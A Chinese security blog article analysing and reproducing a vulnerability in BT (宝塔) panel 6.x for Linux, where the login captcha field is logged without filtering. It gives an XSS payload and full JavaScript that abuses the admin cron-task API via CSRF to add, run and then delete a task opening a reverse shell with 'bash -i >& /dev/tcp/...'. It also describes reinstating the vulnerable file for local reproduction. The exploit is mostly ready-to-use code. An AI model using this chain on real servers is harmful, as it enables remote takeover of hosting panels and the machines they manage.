宝塔面板6.x版本GetShell 前台存储XSS+后台CSRF

  • A+
所属分类:网络安全文章

【漏洞代码分析】

在6.x linux版本宝塔面板当中当中,相对与5.x版本,记录了验证码错误并存入数据库当中,存储xss缺陷就是在此处产生。

我们直接看漏洞代码。

宝塔面板6.x版本GetShell 前台存储XSS+后台CSRF

直接分析post请求部分,代码如下:

宝塔面板6.x版本GetShell 前台存储XSS+后台CSRF

我们可以看到这里首先判断了是否有 用户名密码,然后是验证码。判断这个IP是否是有登陆失败的记录。如果大于1 记录一下,随后将错误次数大于1的用户名的和密码都进行了记录。从数据库中读取管理员账号密码。进行对比。如果没有成功就返回一个错误

关键的代码如下:

宝塔面板6.x版本GetShell 前台存储XSS+后台CSRF

此处记录了一下post 的请求。然后将code传入到了写日志的一个函数里面。追踪一下这个函数。 在public.py 里面,找到如下函数

宝塔面板6.x版本GetShell 前台存储XSS+后台CSRF

这里就是一个写日志的功能。定义了一个teyp 然后是args 。这里把code 传递过来。就直接写入了日志。没有做任何过滤处理。然后就导致了xss漏洞产生。

【漏洞复现】

我们直接在面板登录处,随便输入一个账号密码,触发失败,要求输入验证码。

由于没有任何过滤处理,我们在验证码处直接输入弹窗的payload:

  1. alert('www.cesafe.com& # 39 ; )

登录后台后,打开安全模块,成功触发弹窗。

由于服务器管理面板的特殊性,后台可以进行敏感操作。手写js远程调用,利用csrf漏洞在计划任务处配合存储xss,可成功反弹shell,弹shell成功截图如下:
宝塔面板6.x版本GetShell 前台存储XSS+后台CSRF

远程调用的js代码如下:

  1. function addTask(TaskName, execTime, ip, port) { var execShell = 'bash -i >& /dev/tcp/your_ip/your_port 0>&1'; execShell = encodeURIComponent(execShell); var params = 'name=' + TaskName + '&type=minute-n&where1=' + execTime + '&hour=&minute=&week=&sType=toShell&sBody=' + execShell + '&sName=&backupTo=localhost&save=&urladdress=undefined' var xhr = new xm lHttpRequest(); xhr.open('POST', '/crontab?action=AddCrontab', false); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send(params);}
  2. function execTask(TaskName) { var xhr = new xm lHttpRequest(); xhr.open('POST', '/crontab?action=GetCrontab', true); xhr.send(); xhr.on load = function () { if (this.readyState == 4 && this.status == 200) { var res = JSON.parse(this.responseText); if (res[0].name == TaskName) { var TaskID = res[0].id.toString(); var xhr = new xm lHttpRequest(); xhr.open('POST', '/crontab?action=StartTask', false); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); var params = 'id=' + TaskID; xhr.send(params); delTask(res[0].id); console.log(res[0].id); return res[0].id; } } }}
  3. function delTask(TaskID) { var params = 'id=' + TaskID.toString(); var xhr = new xm lHttpRequest(); xhr.open('POST', '/crontab?action=DelCrontab', false); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send(params);}
  4. var TaskName = Math.random().toString(36).substring(7);addTask(TaskName, '5', '1.1.1.1', '53');execTask(TaskName);

【后续】

宝塔官方已修复该漏洞,但仍有大量存在漏洞主机暴露于公网,请及时更新至最新版本。

官方已修复该漏洞,可以将附件当中的test.py同名覆盖掉宝塔6.x最新版linux版当中的

/www/server/panel/class/userlogin.py,可以本地复现该漏洞。

  • 服务器购买微信群
  • 阿里云&腾讯云&国外VPS
  • weinxin
  • 服务器购买QQ群
  • 阿里云&腾讯云&国外VPS
  • weinxin
CE安全网

发表评论

您必须登录才能发表评论!